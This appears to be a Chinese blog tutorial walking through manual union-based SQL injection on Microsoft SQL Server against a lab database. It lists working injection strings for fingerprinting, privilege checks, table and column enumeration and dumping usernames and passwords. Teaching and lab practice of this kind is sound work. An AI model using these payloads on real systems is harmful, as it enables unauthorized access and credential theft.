Microsoft SQL Server手注之联合查询注

一、如何判断是否为Mssql数据库?

  EXISTS运算符,用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False。

  语句:and exists(select * from sysobjects) --,语句返回正确则为Sql server的数据库 ,其中sysobjects跟mysql中的information_schema表类似。

二、Mssql数据库中有哪三种权限?

  1.sa权限:数据库操作,⽂件管理,命令执⾏,注册表读取等 相当于system

    判断语句:and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员

  2.db权限:⽂件管理,数据库操作等 ,相当于users-adminstrators

    判断语句:and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限

  3.public权限:数据库操作 相当于guest-users

    判断语句:and 1=(select is_srvrolemember('public')) //判断是否为public权限

三、如何调用Mssql数据库的代码?

四、基本流程

  1.判断是否存在注入(同mysql)

  2.判断字段数:order by

  3.寻找字符型显位

      语句:id=-2 union all select null,null,null,null. 将null进行逐个替换从而爆出显位((如下图),这里的id值需要改成负数也许是因为源代码中有类似mysql_fetch_array()只获取首行关联数组的代码,所以需要将其错掉从而执行union之后的代码。

 

  4.查询基本信息

      语句:id=-2 union all select null,@@version,db_name(),null

      说明:可得出版本号为2005 - 9.00.1399.06 ,数据库名为mozhe_db_v2

 

  5.查询表名

      语句: ?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

      说明:其中的top 1具有限定行数的作用,结果查询出第一张表的名字为manage

 

 

    5.1想要查其他表怎么办?

       语句:id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in  ('manage')),'3',4

       说明:加上 and not in (’table_name to be konwn‘,' table_name to be konwn')即可,如下图为查询的第二章表

  6.获取列名

    语句:id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

     说明:以上语句可获得第一个列名 'id',如果想要获取其他列名只需要将col_name()中的第二个参数改为对应数值即可,可获得余下得列名分别为username,password

  7.获取数据

    语句:id=-2 union all select null,username, password ,null from manage

 

 

posted @ 2021-04-12 14:32  小雷啊  阅读(182)  评论(0)    收藏  举报